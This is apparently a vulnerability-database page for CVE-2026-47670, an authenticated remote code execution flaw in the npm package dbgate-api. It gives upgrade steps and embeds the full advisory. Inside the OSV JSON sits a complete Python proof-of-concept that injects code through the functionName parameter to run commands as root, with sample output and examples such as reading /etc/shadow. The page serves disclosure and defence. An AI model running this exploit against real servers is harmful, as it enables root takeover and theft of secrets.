CVE-2026-47670: Dbgate api Remote Code Execution Vulnerability
CRITICALCVE-2026-47670 is a CRITICAL remote code execution vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Dbgate api libraries in the npm ecosystem. The issue involves authenticated remote code execution via loadreader functionname code injection in dbgate. Remediation is available by upgrading affected packages to version 7.1.9.
CVE-2026-47670 at a Glance
How to Fix CVE-2026-47670
To remediate this vulnerability, upgrade all affected Dbgate api dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install dbgate-api@7.1.9
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls dbgate-api
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-47670, inspect your project dependencies using npm:
npm ls dbgate-api
Analyze the terminal output to locate any version of Dbgate api in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 7.1.9), your application is affected.
Note: The npm ls dbgate-api command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Dbgate api, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-47670 Affected Dbgate api Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
dbgate-api
|
npm |
< 7.1.9
|
7.1.9
|
References
Frequently Asked Questions
What is CVE-2026-47670?
Which Dbgate api versions are affected?
What version fixes CVE-2026-47670?
Is dbgate-api affected?
What CWE is associated with CVE-2026-47670?
How can I check npm dependencies for CVE-2026-47670?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-wm5r-5qp3-5vxf",
"modified" : "2026-06-05T16:30:59Z",
"published" : "2026-06-05T16:30:59Z",
"aliases" : [ "CVE-2026-47670" ],
"summary" : "Authenticated Remote Code Execution via loadReader functionName code injection in DbGate",
"details" : "### Summary\n\nDbGate is vulnerable to authenticated Remote Code Execution (RCE). Any user with valid DbGate credentials can execute arbitrary OS commands as root by exploiting an unsanitized `functionName` parameter in the `/runners/load-reader` endpoint. The `require = null` mitigation is trivially bypassed via dynamic `import()`.\n\n\n<br/>\n\n### Details\n\n**Code injection via `functionName` in loadReader**\n\nThe `/runners/load-reader` endpoint interpolates the `functionName` parameter directly into a dynamically generated JavaScript script template without any sanitization:\n\n```javascript\n// packages/api/src/controllers/runners.js (loadReader / loaderScriptTemplate)\nconst reader = await dbgateApi.${functionName}({...});\n```\n\nBy injecting a newline character into `functionName`, an attacker breaks out of the template expression and injects arbitrary JavaScript code. The injected code uses `await import('child_process')` to bypass the `require = null` mitigation (since `import()` is a language keyword, not a function that can be nullified), achieving arbitrary command execution as the process user (root in Docker).\n\nThe June 2025 security fix ([commit cf3f95c](https://github.com/dbgate/dbgate/commit/cf3f95c952)) added `require = null` to the generated script, but this is trivially bypassed:\n\n```javascript\n// Mitigation in generated script:\nrequire = null;\n\n// Bypass via dynamic import (language keyword, cannot be nullified):\nconst { execSync } = await import('child_process');\nexecSync('arbitrary command');\n```\n\n**Root cause:** `functionName` is user-controlled input that is interpolated into code without sanitization. The fix should validate `functionName` against an allowlist of known reader functions (e.g., `/^[a-zA-Z]+$/`) or use a lookup table instead of string interpolation.\n\n\n\n<br/>\n\n### PoC\n\nThe PoC can be run against a test environment using Docker Compose:\n\n```yaml\nservices:\n sectest-dbgate:\n image: dbgate/dbgate:7.1.4-alpine\n ports:\n - \"80:3000\"\n environment:\n LOGINS: admin\n LOGIN_PASSWORD_admin: SuperSecretPassword123\n WEB_ROOT: /\n CONNECTIONS: con1\n LABEL_con1: MySQL\n SERVER_con1: sectest-mysql\n USER_con1: dbuser\n PASSWORD_con1: dbpassword\n PORT_con1: 3306\n ENGINE_con1: mysql@dbgate-plugin-mysql\n\n sectest-mysql:\n image: mysql:8.0\n environment:\n MYSQL_ROOT_PASSWORD: rootpass\n MYSQL_DATABASE: testdb\n MYSQL_USER: dbuser\n MYSQL_PASSWORD: dbpassword\n```\n\nPoC Script:\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nDBGate — Authenticated RCE PoC\n===============================\nRoot-level command execution against auth-enabled DBGate with valid credentials.\n\n Vulnerability — RCE via loadReader functionName code injection\n The /runners/load-reader endpoint interpolates `functionName` directly\n into a dynamically generated JS script without sanitization.\n A newline in functionName breaks out of the template expression and\n allows arbitrary code execution as root (Docker default).\n\n The `require = null` mitigation added in June 2025 is trivially\n bypassed via dynamic `import()` (a language keyword, not a function).\n\nAffected versions: All DbGate versions (tested on 6.1.4, 6.2.0, 7.1.4)\nFixed in: NOT FIXED as of DbGate 7.1.4\nTested on: dbgate/dbgate:7.1.4-alpine\n\"\"\"\n\nimport argparse\nimport json\nimport sys\nimport time\nimport uuid\nimport requests\n\nrequests.packages.urllib3.disable_warnings()\n\nCOMMON_ROOTS = [\"\", \"/dbgate\", \"/db\", \"/admin\", \"/gate\", \"/app\"]\n\n\ndef banner(host, command, user):\n print(f\"\"\"\n ┌─────────────────────────────────────────────────────┐\n │ DBGate — Authenticated RCE PoC │\n │ loadReader functionName code injection │\n │ Affects ALL versions (unpatched as of 7.1.4) │\n └─────────────────────────────────────────────────────┘\n Target : {host}\n User : {user}\n Command: {command}\n\"\"\")\n\n\ndef build_base(host, port=None):\n if \"://\" not in host:\n host = f\"http://{host}\"\n scheme, rest = host.split(\"://\", 1)\n rest = rest.rstrip(\"/\")\n slash = rest.find(\"/\")\n if slash == -1:\n hostport, path = rest, \"\"\n else:\n hostport, path = rest[:slash], rest[slash:]\n if port:\n hostport = hostport.rsplit(\":\", 1)[0] + f\":{port}\"\n elif \":\" not in hostport:\n hostport += \":80\"\n return f\"{scheme}://{hostport}\", path\n\n\ndef discover_web_root(base_host, explicit_path=\"\"):\n if explicit_path:\n return f\"{base_host}{explicit_path}\"\n\n for root in COMMON_ROOTS:\n url = f\"{base_host}{root}\"\n try:\n r = requests.post(f\"{url}/config/get\", json={},\n timeout=3, verify=False)\n if r.status_code == 200 and \"version\" in r.text:\n if root:\n print(f\" [+] Auto-detected WEB_ROOT: {root}\")\n return url\n except Exception:\n pass\n return base_host\n\n\ndef phase1_recon(base):\n print(\"[Phase 1] Reconnaissance\")\n info = {}\n\n try:\n r = requests.post(f\"{base}/config/get\", json={}, timeout=5, verify=False)\n if r.status_code == 200:\n cfg = r.json()\n info[\"config\"] = cfg\n version = cfg.get(\"version\", \"?\")\n print(f\" [+] Version : {version}\")\n print(f\" [+] Docker : {cfg.get('isDocker', '?')}\")\n print(f\" [+] Data dir : {cfg.get('connectionsFilePath', '?').rsplit('/', 1)[0]}\")\n except Exception:\n print(f\" [!] /config/get failed\")\n\n try:\n r = requests.post(f\"{base}/auth/get-providers\", json={}, timeout=5, verify=False)\n if r.status_code == 200:\n pdata = r.json()\n info[\"providers\"] = pdata\n providers = pdata.get(\"providers\", [])\n names = [p.get(\"name\", \"?\") for p in providers]\n default = pdata.get(\"default\", \"?\")\n print(f\" [+] Auth : {', '.join(names)} (default: {default})\")\n info[\"default_amoid\"] = default\n except Exception:\n pass\n\n print()\n return info\n\n\ndef phase2_authenticate(base, info, user, password):\n print(\"[Phase 2] Authentication\")\n\n amoid = info.get(\"default_amoid\", \"logins\")\n\n try:\n r = requests.post(\n f\"{base}/auth/login\",\n json={\"amoid\": amoid, \"login\": user, \"password\": password},\n timeout=5, verify=False,\n )\n if r.status_code == 200:\n data = r.json()\n token = data.get(\"accessToken\")\n if token:\n print(f\" [+] Authenticated as '{user}'\")\n print(f\" [+] JWT obtained: {token[:50]}...\")\n print()\n return token\n else:\n error = data.get(\"error\", \"no accessToken in response\")\n print(f\" [-] Login failed: {error}\")\n else:\n print(f\" [-] Login failed (HTTP {r.status_code})\")\n except Exception as e:\n print(f\" [!] Login error: {e}\")\n\n print()\n return None\n\n\ndef phase3_rce(base, token, command):\n \"\"\"\n RCE via loadReader functionName code injection.\n\n functionName is interpolated into a JS script template:\n const reader = await dbgateApi.{functionName}({...});\n A newline in functionName breaks out and injects arbitrary code.\n\n import() bypasses the require=null mitigation (import is a keyword).\n \"\"\"\n print(\"[Phase 3] RCE via loadReader code injection\")\n print(f\" [*] Command: {command}\")\n\n uid = uuid.uuid4().hex[:12]\n jslout = f\"/tmp/_rce_{uid}.jsonl\"\n\n escaped_cmd = (command\n .replace(\"\\\\\", \"\\\\\\\\\")\n .replace(\"'\", \"\\\\'\")\n .replace(\"`\", \"\\\\`\"))\n\n payload_fn = (\n \"csvReader\\n\"\n \"var _r = (await import('child_process'))\"\n f\".execSync('{escaped_cmd}',{{timeout:30000}})\"\n \".toString();\\n\"\n \"var NL = String.fromCharCode(10);\\n\"\n \"var _hdr = JSON.stringify({__isStreamHeader:true,\"\n \"columns:[{columnName:'out'}]});\\n\"\n \"var _rows = _r.split(NL)\"\n \".filter(function(l){return l.length>0})\"\n \".map(function(l){return JSON.stringify({out:l})})\"\n \".join(NL);\\n\"\n f\"(await import('fs')).writeFileSync('{jslout}',\"\n \" _hdr + NL + _rows + NL);\\n\"\n \"//\"\n )\n\n headers = {\n \"Authorization\": f\"Bearer {token}\",\n \"Content-Type\": \"application/json\",\n }\n\n print(f\" [*] Injecting payload via functionName (bypasses require=null)\")\n\n try:\n r = requests.post(\n f\"{base}/runners/load-reader\",\n json={\"functionName\": payload_fn, \"props\": {}},\n headers=headers,\n timeout=35, verify=False,\n )\n print(f\" [*] Payload sent (status {r.status_code})\")\n except requests.exceptions.Timeout:\n print(f\" [*] Payload sent (timed out — command may still be running)\")\n except requests.exceptions.ConnectionError:\n print(f\" [*] Payload sent (connection reset — expected for some versions)\")\n except Exception as e:\n print(f\" [!] Send error: {e}\")\n return None\n\n print(f\" [*] Waiting for execution...\")\n for wait in [0.5, 1, 1.5, 2, 3, 5]:\n time.sleep(wait)\n try:\n r = requests.post(\n f\"{base}/jsldata/get-rows\",\n json={\"jslid\": f\"file://{jslout}\", \"offset\": 0, \"limit\": 10000},\n headers=headers,\n timeout=5, verify=False,\n )\n if r.status_code == 200:\n rows = r.json()\n if isinstance(rows, list) and len(rows) > 0:\n print(f\" [+] Output captured ({len(rows)} lines)\")\n print()\n return \"\\n\".join(\n row.get(\"out\", \"\")\n for row in rows\n if isinstance(row, dict)\n )\n except requests.exceptions.ConnectionError:\n try:\n time.sleep(1)\n r = requests.post(\n f\"{base}/jsldata/get-rows\",\n json={\"jslid\": f\"file://{jslout}\", \"offset\": 0, \"limit\": 10000},\n headers=headers,\n timeout=5, verify=False,\n )\n if r.status_code == 200:\n rows = r.json()\n if isinstance(rows, list) and len(rows) > 0:\n print(f\" [+] Output captured ({len(rows)} lines, after reconnect)\")\n print()\n return \"\\n\".join(\n row.get(\"out\", \"\")\n for row in rows\n if isinstance(row, dict)\n )\n except Exception:\n pass\n except Exception:\n pass\n\n print(f\" [-] Could not retrieve output (command may have failed)\")\n print()\n return None\n\n\ndef main():\n p = argparse.ArgumentParser(\n add_help=False,\n description=\"DBGate — Authenticated RCE PoC (loadReader code injection)\",\n formatter_class=argparse.RawDescriptionHelpFormatter,\n epilog=(\n \"Any authenticated DbGate user can escalate to root-level\\n\"\n \"command execution via unsanitized functionName injection.\\n\"\n \"This vulnerability is UNPATCHED as of DbGate 7.1.4.\\n\"\n \"\\n\"\n \"examples:\\n\"\n \" %(prog)s -t localhost -u admin -P 'password' -c 'id'\\n\"\n \" %(prog)s -t 10.0.0.5:3000 -u admin -P 's3cret' -c 'cat /etc/shadow'\\n\"\n \" %(prog)s -t target.internal/dbgate -u admin -P 'pass' -c 'env'\\n\"\n ),\n )\n p.add_argument(\"-t\", \"--target\", required=True, help=\"Target host[:port]\")\n p.add_argument(\"-u\", \"--user\", required=True, help=\"DbGate username\")\n p.add_argument(\"-P\", \"--password\", required=True, help=\"DbGate password\")\n p.add_argument(\"-c\", \"--command\", required=True, help=\"OS command to execute\")\n p.add_argument(\"-p\", \"--port\", type=int, default=None, help=\"Override port\")\n\n if len(sys.argv) == 1:\n p.print_help()\n sys.exit(1)\n args = p.parse_args()\n\n base_host, path = build_base(args.target, args.port)\n banner(base_host, args.command, args.user)\n\n base = discover_web_root(base_host, path)\n print(f\" [*] API endpoint : {base}\")\n print()\n\n info = phase1_recon(base)\n if not info.get(\"config\"):\n print(\"[!] Cannot reach target — verify host/port/web-root\")\n sys.exit(1)\n\n token = phase2_authenticate(base, info, args.user, args.password)\n if not token:\n print(\"[!] Authentication failed — check username/password\")\n sys.exit(1)\n\n output = phase3_rce(base, token, args.command)\n if output is not None:\n print(\"─\" * 60)\n print(output.rstrip())\n print(\"─\" * 60)\n print()\n print(\"[+] RCE successful: authenticated user → root command execution\")\n else:\n print(\"[!] No output captured (command may have failed or timed out)\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n```\n\n\n\nAnd running the PoC Python script (requires valid credentials):\n\n```python\npython3 poc.py -t http://localhost -u admin -P 'SuperSecretPassword123' -c 'id'\n```\n\nTerminal output:\n\n```\n ┌─────────────────────────────────────────────────────┐\n │ DBGate — Authenticated RCE PoC │\n │ loadReader functionName code injection │\n │ Affects ALL versions (unpatched as of 7.1.4) │\n └─────────────────────────────────────────────────────┘\n Target : http://localhost:80\n User : admin\n Command: id\n\n [*] API endpoint : http://localhost:80\n\n[Phase 1] Reconnaissance\n [+] Version : 7.1.4\n [+] Docker : True\n [+] Data dir : /root/.dbgate\n [+] Auth : Login & Password (default: logins)\n\n[Phase 2] Authentication\n [+] Authenticated as 'admin'\n [+] JWT obtained: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6I...\n\n[Phase 3] RCE via loadReader code injection\n [*] Command: id\n [*] Injecting payload via functionName (bypasses require=null)\n [*] Payload sent (status 500)\n [*] Waiting for execution...\n [+] Output captured (1 lines)\n\n────────────────────────────────────────────────────────────\nuid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n────────────────────────────────────────────────────────────\n\n[+] RCE successful: authenticated user → root command execution\n```\n\n<br/>\n\n### Impact\n\n- **Privilege escalation to root** — an authenticated DbGate user escalates from web UI access to a root OS shell inside the container\n- **Infrastructure secret theft** — `/proc/1/environ` exposes all container environment variables, which may include API keys, cloud tokens, and secrets beyond database credentials that are not visible through the DbGate UI\n- **Other users' credentials** — extracts `LOGIN_PASSWORD_*` env vars for all DbGate users, enabling password-reuse attacks against other systems\n- **Network pivot** — from inside the container, the attacker can scan and reach other services on the network that are not exposed externally\n- **Persistent backdoor** — root access allows modifying the DbGate application itself (e.g. `bundle.js`), installing cron jobs, or adding SSH keys — the backdoor survives credential rotation and DbGate restarts",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "dbgate-api"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "7.1.9"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 7.1.8"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/dbgate/dbgate/security/advisories/GHSA-wm5r-5qp3-5vxf"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/dbgate/dbgate"
}, {
"type" : "WEB",
"url" : "https://github.com/dbgate/dbgate/releases/tag/v7.1.9"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-77", "CWE-78" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-05T16:30:59Z",
"nvd_published_at" : null
}
}